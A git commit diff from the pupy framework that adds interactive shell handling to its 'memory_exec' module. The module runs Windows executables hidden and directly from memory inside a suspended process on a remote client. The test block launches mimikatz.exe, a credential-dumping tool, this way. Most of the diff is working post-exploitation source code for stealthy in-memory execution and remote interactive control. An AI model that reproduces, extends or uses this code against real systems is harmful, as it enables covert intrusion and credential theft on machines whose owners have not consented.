mirror of https://github.com/n1nj4sec/pupy.git
handle interactive stdin for memory exec
This commit is contained in:
parent
ebe5d36029
commit
c9e5ca7202
|
@ -17,6 +17,7 @@ from pupylib.PupyModule import *
|
||||||
from pupylib.PupyCompleter import *
|
from pupylib.PupyCompleter import *
|
||||||
from pupylib.utils.pe import get_pe_arch
|
from pupylib.utils.pe import get_pe_arch
|
||||||
from pupylib.PupyErrors import PupyModuleError
|
from pupylib.PupyErrors import PupyModuleError
|
||||||
|
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||||
|
|
||||||
__class_name__="MemoryExec"
|
__class_name__="MemoryExec"
|
||||||
|
|
||||||
|
@ -31,7 +32,7 @@ class MemoryExec(PupyModule):
|
||||||
self.arg_parser = PupyArgumentParser(prog="memory_exec", description=self.__doc__)
|
self.arg_parser = PupyArgumentParser(prog="memory_exec", description=self.__doc__)
|
||||||
self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')
|
self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')
|
||||||
self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved', completer=path_completer)
|
self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved', completer=path_completer)
|
||||||
self.arg_parser.add_argument('--interactive', action='store_true', help='interactive with the new process stdin/stdout')
|
#self.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interactive with the new process stdin/stdout')
|
||||||
self.arg_parser.add_argument('path', help='path to the exe', completer=path_completer)
|
self.arg_parser.add_argument('path', help='path to the exe', completer=path_completer)
|
||||||
self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe')
|
self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe')
|
||||||
|
|
||||||
|
@ -47,10 +48,6 @@ class MemoryExec(PupyModule):
|
||||||
self.log(res)
|
self.log(res)
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
if args.interactive:
|
|
||||||
#TODO
|
|
||||||
self.error("interactive memory execution has not been implemented yet")
|
|
||||||
return
|
|
||||||
|
|
||||||
#check we are injecting from the good process arch:
|
#check we are injecting from the good process arch:
|
||||||
pe_arch=get_pe_arch(args.path)
|
pe_arch=get_pe_arch(args.path)
|
||||||
|
@ -59,25 +56,27 @@ class MemoryExec(PupyModule):
|
||||||
self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch))
|
self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch))
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|
||||||
wait=True
|
wait=True
|
||||||
redirect_stdio=True
|
redirect_stdio=True
|
||||||
if args.fork:
|
if args.fork:
|
||||||
wait=False
|
wait=False
|
||||||
redirect_stdio=False
|
redirect_stdio=False
|
||||||
|
|
||||||
raw_pe=b""
|
raw_pe=b""
|
||||||
with open(args.path,'rb') as f:
|
with open(args.path,'rb') as f:
|
||||||
raw_pe=f.read()
|
raw_pe=f.read()
|
||||||
|
|
||||||
self.client.load_package("pupymemexec")
|
self.client.load_package("pupymemexec")
|
||||||
self.client.load_package("pupwinutils.memexec")
|
self.client.load_package("pupwinutils.memexec")
|
||||||
|
|
||||||
res=""
|
res=""
|
||||||
self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
|
self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio)
|
||||||
self.mp.run()
|
self.mp.run()
|
||||||
while True:
|
if not args.fork:
|
||||||
if self.mp.wait(1):
|
with redirected_stdio(self.client.conn):
|
||||||
break
|
self.mp.get_shell()
|
||||||
self.mp.close()
|
self.mp.close()
|
||||||
res=self.mp.get_stdout()
|
#res=self.mp.get_stdout()
|
||||||
self.log(res)
|
#self.log(res)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -21,13 +21,20 @@ import ctypes
|
||||||
from ctypes.wintypes import DWORD
|
from ctypes.wintypes import DWORD
|
||||||
import traceback
|
import traceback
|
||||||
import time
|
import time
|
||||||
|
import threading
|
||||||
|
|
||||||
WAIT_TIMEOUT=0x00000102
|
WAIT_TIMEOUT=0x00000102
|
||||||
|
|
||||||
def ReadFile(handle, desired_bytes, ol = None):
|
def WriteFile(handle, data):
|
||||||
|
c_writen = DWORD()
|
||||||
|
buffer = ctypes.create_string_buffer(data)
|
||||||
|
if not ctypes.windll.kernel32.WriteFile(handle, buffer, len(data), ctypes.byref(c_writen), None):
|
||||||
|
raise ctypes.WinError()
|
||||||
|
|
||||||
|
def ReadFile(handle, max_bytes):
|
||||||
c_read = DWORD()
|
c_read = DWORD()
|
||||||
buffer = ctypes.create_string_buffer(desired_bytes+1)
|
buffer = ctypes.create_string_buffer(max_bytes+1)
|
||||||
success = ctypes.windll.kernel32.ReadFile(handle, buffer, desired_bytes, ctypes.byref(c_read), ol)
|
success = ctypes.windll.kernel32.ReadFile(handle, buffer, max_bytes, ctypes.byref(c_read), None)
|
||||||
if not success:
|
if not success:
|
||||||
last_error=ctypes.windll.kernel32.GetLastError()
|
last_error=ctypes.windll.kernel32.GetLastError()
|
||||||
if last_error==0x6D:#ERROR_BROKEN_PIPE
|
if last_error==0x6D:#ERROR_BROKEN_PIPE
|
||||||
|
@ -48,8 +55,11 @@ class MemoryPE(object):
|
||||||
self.hidden=hidden
|
self.hidden=hidden
|
||||||
self.hProcess=None
|
self.hProcess=None
|
||||||
self.rpStdout=None
|
self.rpStdout=None
|
||||||
|
self.EOF=threading.Event()
|
||||||
|
|
||||||
def close(self):
|
def close(self):
|
||||||
#Killing the program if he is still alive
|
#Killing the program if he is still alive
|
||||||
|
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
|
||||||
ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1);
|
ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1);
|
||||||
ctypes.windll.kernel32.CloseHandle(self.hProcess)
|
ctypes.windll.kernel32.CloseHandle(self.hProcess)
|
||||||
|
|
||||||
|
@ -74,14 +84,42 @@ class MemoryPE(object):
|
||||||
return ""
|
return ""
|
||||||
#Closing the write handle to avoid lock:
|
#Closing the write handle to avoid lock:
|
||||||
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
|
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
|
||||||
|
|
||||||
fulldata=b""
|
fulldata=b""
|
||||||
while True:
|
while True:
|
||||||
data=ReadFile(self.pStdout, 2048)
|
data=ReadFile(self.pStdout, 2048)
|
||||||
if not data:
|
if not data:
|
||||||
|
self.EOF.set()
|
||||||
break
|
break
|
||||||
fulldata+=data
|
fulldata+=data
|
||||||
return fulldata
|
return fulldata
|
||||||
|
|
||||||
|
def write_stdin(self, data):
|
||||||
|
WriteFile(self.pStdin, data)
|
||||||
|
|
||||||
|
def get_shell(self):
|
||||||
|
t=threading.Thread(target=self.loop_read)
|
||||||
|
t.daemon=True
|
||||||
|
t.start()
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data=raw_input()
|
||||||
|
self.write_stdin(data+"\n")
|
||||||
|
if data=="exit":
|
||||||
|
break
|
||||||
|
if self.EOF.is_set():
|
||||||
|
break
|
||||||
|
finally:
|
||||||
|
self.close()
|
||||||
|
|
||||||
|
def loop_read(self):
|
||||||
|
while True:
|
||||||
|
data=ReadFile(self.pStdout, 2048)
|
||||||
|
sys.stdout.write(data)
|
||||||
|
sys.stdout.flush()
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden)
|
hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden)
|
||||||
self.pStdout=pStdout
|
self.pStdout=pStdout
|
||||||
|
@ -96,7 +134,7 @@ if __name__=="__main__":
|
||||||
with open("mimikatz.exe",'rb') as f:
|
with open("mimikatz.exe",'rb') as f:
|
||||||
mpe=MemoryPE(f.read())
|
mpe=MemoryPE(f.read())
|
||||||
mpe.run()
|
mpe.run()
|
||||||
mpe.wait(5)
|
mpe.get_shell()
|
||||||
mpe.close()
|
#mpe.wait(5)
|
||||||
print mpe.get_stdout()
|
#mpe.close()
|
||||||
raw_input()
|
#print mpe.get_stdout()
|
||||||
|
|
Loading…
Reference in New Issue